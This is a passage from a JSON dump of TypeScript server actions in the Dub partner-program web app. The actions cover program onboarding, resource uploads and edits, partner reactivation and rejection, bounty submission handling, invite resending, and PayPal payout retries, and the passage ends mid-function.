    "content": "\"use server\";\n\nimport { createId } from \"@/lib/api/create-id\";\nimport { onboardProgramSchema } from \"@/lib/zod/schemas/program-onboarding\";\nimport { prisma } from \"@dub/prisma\";\nimport { Project } from \"@dub/prisma/client\";\nimport { redirect } from \"next/navigation\";\nimport * as z from \"zod/v4\";\nimport { authActionClient } from \"../safe-action\";\nimport { throwIfNoPermission } from \"../throw-if-no-permission\";\nimport { createProgram } from \"./create-program\";\n\nexport const onboardProgramAction = authActionClient\n  .inputSchema(onboardProgramSchema)\n  .action(async ({ ctx, parsedInput: data }) => {\n    const { workspace, user } = ctx;\n\n    throwIfNoPermission({\n      role: workspace.role,\n      requiredRoles: [\"owner\", \"member\"],\n    });\n\n    if (workspace.defaultProgramId) {\n      throw new Error(\n        \"You've already created a program for your workspace. Please use the existing program instead.\",\n      );\n    }\n\n    if (data.step === \"create-program\") {\n      await createProgram({\n        workspace,\n        user,\n        redirectTo: `/${workspace.slug}/program?onboarded-program=true`,\n        sendProgramWelcomeEmail: true,\n      });\n      return;\n    }\n\n    await saveOnboardingProgress({\n      data,\n      workspace,\n    });\n  });\n\n// Save the onboarding progress\nconst saveOnboardingProgress = async ({\n  workspace,\n  data,\n}: {\n  workspace: Pick<Project, \"id\" | \"store\" | \"slug\">;\n  data: z.infer<typeof onboardProgramSchema>;\n}) => {\n  const store =\n    (workspace.store as Record<string, any> | undefined | null) ?? {};\n\n  const programId =\n    store?.programOnboarding?.programId ?? createId({ prefix: \"prog_\" });\n\n  const lastCompletedStep =\n    data.step !== \"save-and-exit\"\n      ? data.step\n      : store.programOnboarding?.lastCompletedStep;\n\n  await prisma.project.update({\n    where: {\n      id: workspace.id,\n    },\n    data: {\n      store: {\n        ...store,\n        programOnboarding: {\n          ...store.programOnboarding,\n          ...data,\n          programId,\n          lastCompletedStep,\n          step: undefined,\n        },\n      },\n    },\n  });\n\n  if (data.step == \"save-and-exit\") {\n    redirect(`/${workspace.slug}/program`);\n  }\n};\n"
  },
  {
    "path": "apps/web/lib/actions/partners/program-resources/add-program-resource.ts",
    "content": "\"use server\";\n\nimport { createId } from \"@/lib/api/create-id\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport {\n  programResourceColorSchema,\n  programResourceFileSchema,\n  programResourceLinkSchema,\n} from \"@/lib/zod/schemas/program-resources\";\nimport { prisma } from \"@dub/prisma\";\nimport { R2_URL } from \"@dub/utils\";\nimport * as z from \"zod/v4\";\nimport { authActionClient } from \"../../safe-action\";\nimport { throwIfNoPermission } from \"../../throw-if-no-permission\";\nimport { MAX_PROGRAM_RESOURCE_FILE_SIZE_BYTES } from \"./constants\";\n\n// Base schema for all resource types\nconst baseResourceSchema = z.object({\n  workspaceId: z.string(),\n  name: z.string().min(1, \"Name is required\"),\n});\n\n// Schema for logo resources\nconst logoResourceSchema = baseResourceSchema.extend({\n  resourceType: z.literal(\"logo\"),\n  key: z.string(),\n  fileSize: z.number().int().positive(),\n});\n\n// Schema for file resources\nconst fileResourceSchema = baseResourceSchema.extend({\n  resourceType: z.literal(\"file\"),\n  key: z.string(),\n  fileSize: z.number().int().positive(),\n});\n\n// Schema for color resources\nconst colorResourceSchema = baseResourceSchema.extend({\n  resourceType: z.literal(\"color\"),\n  color: z.string(), // Hex color code\n});\n\n// Schema for link resources\nconst linkResourceSchema = baseResourceSchema.extend({\n  resourceType: z.literal(\"link\"),\n  url: z.url(),\n});\n\n// Combined schema that can handle any resource type\nconst addResourceSchema = z.discriminatedUnion(\"resourceType\", [\n  logoResourceSchema,\n  fileResourceSchema,\n  colorResourceSchema,\n  linkResourceSchema,\n]);\n\nexport const addProgramResourceAction = authActionClient\n  .inputSchema(addResourceSchema)\n  .action(async ({ ctx, parsedInput }) => {\n    const { workspace } = ctx;\n    const { name, resourceType } = parsedInput;\n\n    throwIfNoPermission({\n      role: workspace.role,\n      requiredRoles: [\"owner\", \"member\"],\n    });\n\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    // Verify the program exists and belongs to the workspace\n    const program = await prisma.program.findUnique({\n      where: {\n        id: programId,\n        workspaceId: workspace.id,\n      },\n      select: {\n        id: true,\n        resources: true,\n      },\n    });\n\n    if (!program) throw new Error(\"Program not found\");\n\n    const currentResources = (program.resources as any) || {\n      logos: [],\n      colors: [],\n      files: [],\n      links: [],\n    };\n\n    const updatedResources = { ...currentResources };\n\n    if (resourceType === \"logo\" || resourceType === \"file\") {\n      const { key, fileSize } = parsedInput;\n\n      if (!key.startsWith(`programs/${program.id}/`)) {\n        throw new Error(\"Invalid resource key\");\n      }\n\n      if (fileSize > MAX_PROGRAM_RESOURCE_FILE_SIZE_BYTES) {\n        throw new Error(\n          `File size exceeds the maximum allowed size of ${MAX_PROGRAM_RESOURCE_FILE_SIZE_BYTES / 1024 / 1024}MB`,\n        );\n      }\n\n      const url = `${R2_URL}/${key}`;\n\n      const newResource = programResourceFileSchema.parse({\n        id: createId({ prefix: \"pgr_\" }),\n        name,\n        size: fileSize,\n        url,\n      });\n\n      // Update the appropriate array in the resources object\n      const resourceKey = resourceType === \"logo\" ? \"logos\" : \"files\";\n      updatedResources[resourceKey] = [\n        ...(updatedResources[resourceKey] || []),\n        newResource,\n      ];\n    } else if (resourceType === \"color\") {\n      const { color } = parsedInput;\n\n      const newResource = programResourceColorSchema.parse({\n        id: createId({ prefix: \"pgr_\" }),\n        name,\n        color,\n      });\n\n      updatedResources.colors = [\n        ...(updatedResources.colors || []),\n        newResource,\n      ];\n    } else if (resourceType === \"link\") {\n      const { url } = parsedInput;\n\n      const newResource = programResourceLinkSchema.parse({\n        id: createId({ prefix: \"pgr_\" }),\n        name,\n        url,\n      });\n\n      updatedResources.links = [...(updatedResources.links || []), newResource];\n    } else {\n      throw new Error(\"Invalid resource type\");\n    }\n\n    // Update the program with the new resources\n    await prisma.program.update({\n      where: {\n        id: program.id,\n      },\n      data: {\n        resources: updatedResources,\n      },\n    });\n  });\n"
  },
  {
    "path": "apps/web/lib/actions/partners/program-resources/constants.ts",
    "content": "export const MAX_PROGRAM_RESOURCE_FILE_SIZE_BYTES = 10 * 1024 * 1024;\n"
  },
  {
    "path": "apps/web/lib/actions/partners/program-resources/delete-program-resource.ts",
    "content": "\"use server\";\n\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { storage } from \"@/lib/storage\";\nimport {\n  PROGRAM_RESOURCE_TYPES,\n  programResourcesSchema,\n} from \"@/lib/zod/schemas/program-resources\";\nimport { prisma } from \"@dub/prisma\";\nimport { R2_URL } from \"@dub/utils\";\nimport * as z from \"zod/v4\";\nimport { authActionClient } from \"../../safe-action\";\nimport { throwIfNoPermission } from \"../../throw-if-no-permission\";\n\n// Schema for deleting a program resource\nconst deleteProgramResourceSchema = z.object({\n  workspaceId: z.string(),\n  resourceType: z.enum(PROGRAM_RESOURCE_TYPES),\n  resourceId: z.string(),\n});\n\nexport const deleteProgramResourceAction = authActionClient\n  .inputSchema(deleteProgramResourceSchema)\n  .action(async ({ ctx, parsedInput }) => {\n    const { workspace } = ctx;\n    const { resourceType, resourceId } = parsedInput;\n\n    throwIfNoPermission({\n      role: workspace.role,\n      requiredRoles: [\"owner\", \"member\"],\n    });\n\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    // Verify the program exists and belongs to the workspace\n    const program = await prisma.program.findUnique({\n      where: {\n        id: programId,\n        workspaceId: workspace.id,\n      },\n      select: {\n        id: true,\n        resources: true,\n      },\n    });\n\n    if (!program) throw new Error(\"Program not found\");\n    if (!program.resources) throw new Error(\"Program resources not found\");\n\n    // Create a copy of the current resources to update\n    const updatedResources = { ...(program.resources as any) };\n\n    // Find the resource to delete\n    const resourceKey = `${resourceType}s`;\n    const resourceArray = updatedResources[resourceKey] || [];\n    const resource = resourceArray.find(({ id }) => id === resourceId);\n\n    if (!resource) throw new Error(`Resource not found`);\n\n    // Delete file-based resources from storage\n    if ((resourceType === \"logo\" || resourceType === \"file\") && resource.url) {\n      try {\n        await storage.delete({ key: resource.url.replace(`${R2_URL}/`, \"\") });\n      } catch (error) {\n        console.error(\n          \"Failed to delete program resource file from storage:\",\n          error,\n        );\n      }\n    }\n\n    // Remove the resource from the array\n    updatedResources[resourceKey] = resourceArray.filter(\n      ({ id }) => id !== resourceId,\n    );\n\n    await prisma.program.update({\n      where: {\n        id: programId,\n      },\n      data: {\n        resources: programResourcesSchema.parse(updatedResources) as any,\n      },\n    });\n\n    return {\n      success: true,\n    };\n  });\n"
  },
  {
    "path": "apps/web/lib/actions/partners/program-resources/get-program-resource-upload-url.ts",
    "content": "\"use server\";\n\nimport { createId } from \"@/lib/api/create-id\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { storage } from \"@/lib/storage\";\nimport { prisma } from \"@dub/prisma\";\nimport { nanoid, R2_URL } from \"@dub/utils\";\nimport slugify from \"@sindresorhus/slugify\";\nimport * as z from \"zod/v4\";\nimport { authActionClient } from \"../../safe-action\";\nimport { throwIfNoPermission } from \"../../throw-if-no-permission\";\nimport { MAX_PROGRAM_RESOURCE_FILE_SIZE_BYTES } from \"./constants\";\n\nconst schema = z.object({\n  workspaceId: z.string(),\n  resourceType: z.enum([\"logo\", \"file\"]),\n  name: z.string().min(1, \"Name is required\"),\n  extension: z\n    .string()\n    .regex(/^[a-zA-Z0-9_-]+$/, \"Invalid file extension\")\n    .nullish(),\n  fileSize: z.number().int().positive(),\n});\n\nexport const getProgramResourceUploadUrlAction = authActionClient\n  .inputSchema(schema)\n  .action(async ({ ctx, parsedInput }) => {\n    const { workspace } = ctx;\n    const { resourceType, name, extension, fileSize } = parsedInput;\n\n    throwIfNoPermission({\n      role: workspace.role,\n      requiredRoles: [\"owner\", \"member\"],\n    });\n\n    if (fileSize > MAX_PROGRAM_RESOURCE_FILE_SIZE_BYTES) {\n      throw new Error(\n        `File size exceeds the maximum allowed size of ${MAX_PROGRAM_RESOURCE_FILE_SIZE_BYTES / 1024 / 1024}MB`,\n      );\n    }\n\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const program = await prisma.program.findUnique({\n      where: {\n        id: programId,\n        workspaceId: workspace.id,\n      },\n      select: {\n        id: true,\n      },\n    });\n\n    if (!program) throw new Error(\"Program not found\");\n\n    const resourceId = createId({ prefix: \"pgr_\" });\n    const sanitizedExtension = extension\n      ? extension.replace(/^\\.+/, \"\").replace(/[^a-zA-Z0-9_-]/g, \"\")\n      : null;\n    const key = `programs/${program.id}/${resourceType}s/${slugify(name || resourceType)}-${nanoid(4)}${sanitizedExtension ? `.${sanitizedExtension}` : \"\"}`;\n\n    const signedUrl = await storage.getSignedUploadUrl({\n      key,\n      expiresIn: 300,\n      contentLength: fileSize,\n    });\n\n    return {\n      signedUrl,\n      destinationUrl: `${R2_URL}/${key}`,\n      resourceId,\n      key,\n      fileSize,\n    };\n  });\n"
  },
  {
    "path": "apps/web/lib/actions/partners/program-resources/update-program-resource.ts",
    "content": "\"use server\";\n\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { storage } from \"@/lib/storage\";\nimport {\n  programResourceColorSchema,\n  programResourceFileSchema,\n  programResourceLinkSchema,\n  programResourcesSchema,\n} from \"@/lib/zod/schemas/program-resources\";\nimport { prisma } from \"@dub/prisma\";\nimport { R2_URL } from \"@dub/utils\";\nimport * as z from \"zod/v4\";\nimport { authActionClient } from \"../../safe-action\";\nimport { throwIfNoPermission } from \"../../throw-if-no-permission\";\nimport { MAX_PROGRAM_RESOURCE_FILE_SIZE_BYTES } from \"./constants\";\n\n// Base schema for all resource types\nconst baseUpdateSchema = z.object({\n  workspaceId: z.string(),\n  resourceId: z.string(),\n});\n\n// Schema for logo resources\nconst updateLogoSchema = baseUpdateSchema.extend({\n  resourceType: z.literal(\"logo\"),\n  name: z.string().min(1).optional(),\n  key: z.string().optional(),\n  fileSize: z.number().int().positive().optional(),\n});\n\n// Schema for file resources\nconst updateFileSchema = baseUpdateSchema.extend({\n  resourceType: z.literal(\"file\"),\n  name: z.string().min(1).optional(),\n  key: z.string().optional(),\n  fileSize: z.number().int().positive().optional(),\n});\n\n// Schema for color resources\nconst updateColorSchema = baseUpdateSchema.extend({\n  resourceType: z.literal(\"color\"),\n  name: z.string().min(1).optional(),\n  color: z.string().optional(),\n});\n\n// Schema for link resources\nconst updateLinkSchema = baseUpdateSchema.extend({\n  resourceType: z.literal(\"link\"),\n  name: z.string().min(1).optional(),\n  url: z.url().optional(),\n});\n\n// Combined schema that can handle any resource type\nconst updateResourceSchema = z.discriminatedUnion(\"resourceType\", [\n  updateLogoSchema,\n  updateFileSchema,\n  updateColorSchema,\n  updateLinkSchema,\n]);\n\nexport const updateProgramResourceAction = authActionClient\n  .inputSchema(updateResourceSchema)\n  .action(async ({ ctx, parsedInput }) => {\n    const { workspace } = ctx;\n    const { resourceId, resourceType } = parsedInput;\n\n    throwIfNoPermission({\n      role: workspace.role,\n      requiredRoles: [\"owner\", \"member\"],\n    });\n\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    // Verify the program exists and belongs to the workspace\n    const program = await prisma.program.findUnique({\n      where: {\n        id: programId,\n        workspaceId: workspace.id,\n      },\n      select: {\n        id: true,\n        resources: true,\n      },\n    });\n\n    if (!program) throw new Error(\"Program not found\");\n    if (!program.resources) throw new Error(\"Program resources not found\");\n\n    const currentResources = program.resources as any;\n    const updatedResources = { ...currentResources };\n\n    // Find the resource to update\n    const resourceKey = `${resourceType}s`;\n    const resourceArray = [...(updatedResources[resourceKey] || [])];\n    const resourceIndex = resourceArray.findIndex(\n      ({ id }) => id === resourceId,\n    );\n\n    if (resourceIndex === -1) throw new Error(\"Resource not found\");\n\n    const existingResource = resourceArray[resourceIndex];\n\n    // Capture old URL before any mutation so we can delete it after a successful DB write\n    let oldFileUrl: string | null = null;\n\n    if (resourceType === \"logo\" || resourceType === \"file\") {\n      const { name, key, fileSize } = parsedInput;\n\n      let newUrl = existingResource.url;\n      let newSize = existingResource.size;\n\n      // If a new file was uploaded, validate ownership and derive URL server-side\n      if (key) {\n        if (!key.startsWith(`programs/${program.id}/`)) {\n          throw new Error(\"Invalid resource key\");\n        }\n\n        if (fileSize && fileSize > MAX_PROGRAM_RESOURCE_FILE_SIZE_BYTES) {\n          throw new Error(\n            `File size exceeds the maximum allowed size of ${MAX_PROGRAM_RESOURCE_FILE_SIZE_BYTES / 1024 / 1024}MB`,\n          );\n        }\n\n        newUrl = `${R2_URL}/${key}`;\n        newSize = fileSize ?? existingResource.size;\n\n        // Remember the old URL — we'll delete it after the DB update succeeds\n        if (existingResource.url) {\n          oldFileUrl = existingResource.url;\n        }\n      }\n\n      const updatedResource = programResourceFileSchema.parse({\n        id: resourceId,\n        name: name || existingResource.name,\n        size: newSize,\n        url: newUrl,\n      });\n\n      resourceArray[resourceIndex] = updatedResource;\n    } else if (resourceType === \"color\") {\n      const { name, color } = parsedInput;\n\n      const updatedResource = programResourceColorSchema.parse({\n        id: resourceId,\n        name: name || existingResource.name,\n        color: color || existingResource.color,\n      });\n\n      resourceArray[resourceIndex] = updatedResource;\n    } else if (resourceType === \"link\") {\n      const { name, url } = parsedInput;\n\n      const updatedResource = programResourceLinkSchema.parse({\n        id: resourceId,\n        name: name || existingResource.name,\n        url: url || existingResource.url,\n      });\n\n      resourceArray[resourceIndex] = updatedResource;\n    } else {\n      throw new Error(\"Invalid resource type\");\n    }\n\n    updatedResources[resourceKey] = resourceArray;\n\n    // Update the program with the updated resources\n    await prisma.program.update({\n      where: {\n        id: program.id,\n      },\n      data: {\n        resources: programResourcesSchema.parse(updatedResources) as any,\n      },\n    });\n\n    // Delete the old file from storage only after the DB update succeeds (best-effort)\n    if (oldFileUrl) {\n      try {\n        await storage.delete({\n          key: oldFileUrl.replace(`${R2_URL}/`, \"\"),\n        });\n      } catch (error) {\n        console.error(\n          \"Failed to delete old program resource file from storage:\",\n          error,\n        );\n      }\n    }\n\n    return {\n      success: true,\n    };\n  });\n"
  },
  {
    "path": "apps/web/lib/actions/partners/reactivate-partner.ts",
    "content": "\"use server\";\n\nimport { recordAuditLog } from \"@/lib/api/audit-logs/record-audit-log\";\nimport { getGroupOrThrow } from \"@/lib/api/groups/get-group-or-throw\";\nimport { linkCache } from \"@/lib/api/links/cache\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { deactivatePartnerSchema } from \"@/lib/zod/schemas/partners\";\nimport { prisma } from \"@dub/prisma\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { authActionClient } from \"../safe-action\";\nimport { throwIfNoPermission } from \"../throw-if-no-permission\";\n\n// Reactivate a partner\nexport const reactivatePartnerAction = authActionClient\n  .inputSchema(deactivatePartnerSchema)\n  .action(async ({ parsedInput, ctx }) => {\n    const { workspace, user } = ctx;\n    const { partnerId } = parsedInput;\n\n    throwIfNoPermission({\n      role: workspace.role,\n      requiredRoles: [\"owner\", \"member\"],\n    });\n\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const where = {\n      programId,\n      partnerId,\n    };\n\n    const programEnrollment = await prisma.programEnrollment.findUniqueOrThrow({\n      where: {\n        partnerId_programId: where,\n      },\n      include: {\n        program: true,\n        partner: true,\n      },\n    });\n\n    if (programEnrollment.status !== \"deactivated\") {\n      throw new Error(\"This partner is not deactivated.\");\n    }\n\n    const partnerGroup = await getGroupOrThrow({\n      programId,\n      groupId:\n        programEnrollment.groupId || programEnrollment.program.defaultGroupId,\n    });\n\n    await prisma.$transaction([\n      prisma.link.updateMany({\n        where,\n        data: {\n          expiresAt: null,\n        },\n      }),\n\n      prisma.programEnrollment.update({\n        where: {\n          partnerId_programId: where,\n        },\n        data: {\n          status: \"approved\",\n          groupId: partnerGroup.id,\n          clickRewardId: partnerGroup.clickRewardId,\n          leadRewardId: partnerGroup.leadRewardId,\n          saleRewardId: partnerGroup.saleRewardId,\n          discountId: partnerGroup.discountId,\n        },\n      }),\n    ]);\n\n    waitUntil(\n      (async () => {\n        const links = await prisma.link.findMany({\n          where,\n          select: {\n            domain: true,\n            key: true,\n          },\n        });\n\n        await Promise.allSettled([\n          // TODO send email to partner\n          linkCache.expireMany(links),\n          recordAuditLog({\n            workspaceId: workspace.id,\n            programId,\n            action: \"partner.reactivated\",\n            description: `Partner ${partnerId} reactivated`,\n            actor: user,\n            targets: [\n              {\n                type: \"partner\",\n                id: partnerId,\n                metadata: programEnrollment.partner,\n              },\n            ],\n          }),\n        ]);\n      })(),\n    );\n  });\n"
  },
  {
    "path": "apps/web/lib/actions/partners/reject-bounty-submission.ts",
    "content": "\"use server\";\n\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { rejectBountySubmission } from \"@/lib/bounty/api/reject-bounty-submission\";\nimport { rejectBountySubmissionBodySchema } from \"@/lib/zod/schemas/bounties\";\nimport * as z from \"zod/v4\";\nimport { authActionClient } from \"../safe-action\";\nimport { throwIfNoPermission } from \"../throw-if-no-permission\";\n\nconst inputSchema = rejectBountySubmissionBodySchema.extend({\n  workspaceId: z.string(),\n  submissionId: z.string(),\n});\n\n// Reject a bounty submission\nexport const rejectBountySubmissionAction = authActionClient\n  .inputSchema(inputSchema)\n  .action(async ({ parsedInput, ctx }) => {\n    const { workspace, user } = ctx;\n    const { submissionId, rejectionReason, rejectionNote } = parsedInput;\n\n    throwIfNoPermission({\n      role: workspace.role,\n      requiredRoles: [\"owner\", \"member\"],\n    });\n\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    await rejectBountySubmission({\n      programId,\n      submissionId,\n      rejectionReason,\n      rejectionNote,\n      user,\n    });\n  });\n"
  },
  {
    "path": "apps/web/lib/actions/partners/reject-partner-application.ts",
    "content": "\"use server\";\n\nimport { recordAuditLog } from \"@/lib/api/audit-logs/record-audit-log\";\nimport { reportFraudToNetwork } from \"@/lib/api/fraud/report-fraud-to-network\";\nimport { resolveFraudGroups } from \"@/lib/api/fraud/resolve-fraud-groups\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { rejectPartnerSchema } from \"@/lib/zod/schemas/partners\";\nimport { prisma } from \"@dub/prisma\";\nimport { ProgramEnrollmentStatus } from \"@dub/prisma/client\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { authActionClient } from \"../safe-action\";\nimport { throwIfNoPermission } from \"../throw-if-no-permission\";\n\n// Reject a pending partner application\nexport const rejectPartnerApplicationAction = authActionClient\n  .inputSchema(rejectPartnerSchema)\n  .action(async ({ parsedInput, ctx }) => {\n    const { workspace, user } = ctx;\n    const { partnerId, reportFraud } = parsedInput;\n\n    throwIfNoPermission({\n      role: workspace.role,\n      requiredRoles: [\"owner\", \"member\"],\n    });\n\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const programEnrollment = await prisma.programEnrollment.findUniqueOrThrow({\n      where: {\n        partnerId_programId: {\n          partnerId,\n          programId,\n        },\n      },\n      include: {\n        partner: true,\n      },\n    });\n\n    // Don't do anything if the application is no longer pending\n    if (programEnrollment.status !== \"pending\") {\n      return;\n    }\n\n    await prisma.programEnrollment.update({\n      where: {\n        id: programEnrollment.id,\n        status: \"pending\",\n      },\n      data: {\n        status: ProgramEnrollmentStatus.rejected,\n        clickRewardId: null,\n        leadRewardId: null,\n        saleRewardId: null,\n        discountId: null,\n      },\n    });\n\n    waitUntil(\n      (async () => {\n        await Promise.allSettled([\n          recordAuditLog({\n            workspaceId: workspace.id,\n            programId,\n            action: \"partner_application.rejected\",\n            description: `Partner application rejected for ${partnerId}`,\n            actor: user,\n            targets: [\n              {\n                type: \"partner\",\n                id: partnerId,\n                metadata: programEnrollment.partner,\n              },\n            ],\n          }),\n\n          // Automatically resolve all pending fraud events for this partner in the current program\n          resolveFraudGroups({\n            where: {\n              programId,\n              partnerId,\n            },\n            userId: user.id,\n            resolutionReason:\n              \"Resolved automatically because the partner application was rejected.\",\n          }),\n\n          reportFraud\n            ? reportFraudToNetwork({\n                programId,\n                partnerIds: [partnerId],\n              })\n            : Promise.resolve(),\n        ]);\n      })(),\n    );\n  });\n"
  },
  {
    "path": "apps/web/lib/actions/partners/reopen-bounty-submission.ts",
    "content": "\"use server\";\n\nimport { recordAuditLog } from \"@/lib/api/audit-logs/record-audit-log\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { BountySubmissionSchema } from \"@/lib/zod/schemas/bounties\";\nimport { prisma } from \"@dub/prisma\";\nimport { waitUntil } from \"@vercel/functions\";\nimport * as z from \"zod/v4\";\nimport { authActionClient } from \"../safe-action\";\nimport { throwIfNoPermission } from \"../throw-if-no-permission\";\n\nconst schema = z.object({\n  workspaceId: z.string(),\n  submissionId: z.string(),\n});\n\n// Reopen a bounty submission that was previously submitted\nexport const reopenBountySubmissionAction = authActionClient\n  .inputSchema(schema)\n  .action(async ({ parsedInput, ctx }) => {\n    const { workspace, user } = ctx;\n    const { submissionId } = parsedInput;\n\n    throwIfNoPermission({\n      role: workspace.role,\n      requiredRoles: [\"owner\", \"member\"],\n    });\n\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const { program, bounty, partner, ...bountySubmission } =\n      await prisma.bountySubmission.findUniqueOrThrow({\n        where: {\n          id: submissionId,\n        },\n        include: {\n          program: true,\n          bounty: true,\n          partner: true,\n          commission: true,\n        },\n      });\n\n    if (bountySubmission.programId !== programId) {\n      throw new Error(\"Bounty submission does not belong to this program.\");\n    }\n\n    if (bountySubmission.status === \"approved\") {\n      throw new Error(\"Bounty submission has already been approved.\");\n    }\n\n    await prisma.bountySubmission.update({\n      where: {\n        id: submissionId,\n      },\n      data: {\n        status: \"draft\",\n        completedAt: null,\n        reviewedAt: null,\n        rejectionNote: null,\n        rejectionReason: null,\n      },\n    });\n\n    waitUntil(\n      Promise.allSettled([\n        recordAuditLog({\n          workspaceId: workspace.id,\n          programId: program.id,\n          action: \"bounty_submission.reopened\",\n          description: `Bounty submission reopened for ${partner.id}`,\n          actor: user,\n          targets: [\n            {\n              type: \"bounty_submission\",\n              id: submissionId,\n              metadata: BountySubmissionSchema.parse(bountySubmission),\n            },\n          ],\n        }),\n\n        // Email notification can be added later if needed\n        Promise.resolve(),\n      ]),\n    );\n  });\n"
  },
  {
    "path": "apps/web/lib/actions/partners/resend-program-invite.ts",
    "content": "\"use server\";\n\nimport { recordAuditLog } from \"@/lib/api/audit-logs/record-audit-log\";\nimport { getGroupRewardsAndBounties } from \"@/lib/api/partners/get-group-rewards-and-bounties\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { sendEmail } from \"@dub/email\";\nimport ProgramInvite from \"@dub/email/templates/program-invite\";\nimport { prisma } from \"@dub/prisma\";\nimport * as z from \"zod/v4\";\nimport { authActionClient } from \"../safe-action\";\nimport { throwIfNoPermission } from \"../throw-if-no-permission\";\n\nconst resendProgramInviteSchema = z.object({\n  workspaceId: z.string(),\n  partnerId: z.string(),\n});\n\nexport const resendProgramInviteAction = authActionClient\n  .inputSchema(resendProgramInviteSchema)\n  .action(async ({ parsedInput, ctx }) => {\n    const { partnerId } = parsedInput;\n    const { workspace, user } = ctx;\n\n    throwIfNoPermission({\n      role: workspace.role,\n      requiredRoles: [\"owner\", \"member\"],\n    });\n\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const { program, partner, ...programEnrollment } =\n      await prisma.programEnrollment.findUniqueOrThrow({\n        where: {\n          partnerId_programId: {\n            partnerId,\n            programId,\n          },\n        },\n        include: {\n          program: true,\n          partner: true,\n        },\n      });\n\n    if (programEnrollment.status !== \"invited\") {\n      throw new Error(\"Invite not found.\");\n    }\n\n    // cannot resend invite within 24 hours\n    if (\n      programEnrollment.createdAt.getTime() + 24 * 60 * 60 * 1000 >\n      Date.now()\n    ) {\n      throw new Error(\n        \"Cannot resend invite within 24 hours. Please try again later.\",\n      );\n    }\n\n    await Promise.allSettled([\n      (async () => {\n        await sendEmail({\n          subject: `${program.name} invited you to join Dub Partners`,\n          variant: \"notifications\",\n          to: partner.email!,\n          replyTo: program.supportEmail || \"noreply\",\n          react: ProgramInvite({\n            email: partner.email!,\n            name: partner.name,\n            program: {\n              name: program.name,\n              slug: program.slug,\n              logo: program.logo,\n            },\n            ...(await getGroupRewardsAndBounties({\n              programId,\n              groupId: programEnrollment.groupId || program.defaultGroupId,\n            })),\n          }),\n        });\n      })(),\n\n      prisma.programEnrollment.update({\n        where: {\n          id: programEnrollment.id,\n        },\n        data: {\n          createdAt: new Date(),\n        },\n      }),\n\n      recordAuditLog({\n        workspaceId: workspace.id,\n        programId,\n        action: \"partner.invite_resent\",\n        description: `Partner ${partner.id} invite resent`,\n        actor: user,\n        targets: [\n          {\n            type: \"partner\",\n            id: partner.id,\n            metadata: partner,\n          },\n        ],\n      }),\n    ]);\n  });\n"
  },
  {
    "path": "apps/web/lib/actions/partners/retry-failed-paypal-payouts.ts",
    "content": "\"use server\";\n\nimport { throwIfNoPermission } from \"@/lib/auth/partner-users/throw-if-no-permission\";\nimport { createPayPalBatchPayout } from \"@/lib/paypal/create-batch-payout\";\nimport { ratelimit } from \"@/lib/upstash\";\nimport { prisma } from \"@dub/prisma\";\nimport { nanoid } from \"@dub/utils\";\nimport * as z from \"zod/v4\";\nimport { authPartnerActionClient } from \"../safe-action\";\n\nconst retryFailedPaypalPayoutSchema = z.object({\n  payoutId: z.string().min(1, \"Payout ID is required\"),\n});\n\n// Retry a failed PayPal payout for a partner\nexport const retryFailedPaypalPayoutsAction = authPartnerActionClient\n  .inputSchema(retryFailedPaypalPayoutSchema)\n  .action(async ({ ctx, parsedInput }) => {\n    const { partner, partnerUser } = ctx;\n    const { payoutId } = parsedInput;\n\n    throwIfNoPermission({\n      role: partnerUser.role,\n      permission: \"payout_settings.update\",\n    });\n\n    if (!partner.payoutsEnabledAt) {\n      throw new Error(\n        \"You haven't enabled payouts yet. Please enable payouts in your payout settings.\",\n      );\n    }\n\n    if (!partner.paypalEmail) {\n      throw new Error(\"Connect your PayPal account to enable payouts.\");\n    }\n\n    const { success } = await ratelimit(1, \"12 h\").limit(\n      `retry-failed-paypal-payouts:${payoutId}`,\n    );\n\n    if (!success) {\n      throw new Error(\n        \"You've reached the maximum number of retry attempts for the past 24 hours. Please wait and try again later.\",\n      );\n    }\n\n    // Use a transaction to atomically check and update the payout status\n    // This prevents race conditions where multiple retry requests happen concurrently\n    const updatedPayout = await prisma.$transaction(async (tx) => {\n      const payout = await tx.payout.findUnique({\n        where: {\n          id: payoutId,\n        },\n        select: {\n          id: true,\n          invoiceId: true,\n          partnerId: true,\n          status: true,\n          amount: true,\n          paypalTransferId: true,\n          program: {\n            select: {\n              name: true,\n            },\n          },\n        },\n      });\n\n      if (!payout) {\n        throw new Error(\"Payout not found.\");\n      }\n\n      if (payout.partnerId !== partner.id) {\n        throw new Error(\"You are not authorized to retry this payout.\");\n      }\n\n      if (payout.status !== \"failed\") {\n        throw new Error(\n          `This payout cannot be retried. Current status: ${payout.status}. Only failed payouts can be retried.`,\n        );\n      }\n\n      if (!payout.paypalTransferId) {\n        throw new Error(\"This payout has no existing PayPal transfer ID.\");\n      }\n\n      if (!payout.invoiceId) {\n        throw new Error(\"This payout has no invoice ID.\");\n      }\n\n      const updateResult = await tx.payout.updateMany({\n        where: {\n          id: payout.id,\n          status: \"failed\", // Only update if still in \"failed\" status\n        },\n        data: {\n          status: \"processing\",\n        },\n      });\n\n      // If no rows were updated, another request already processed this payout\n      if (updateResult.count === 0) {\n        throw 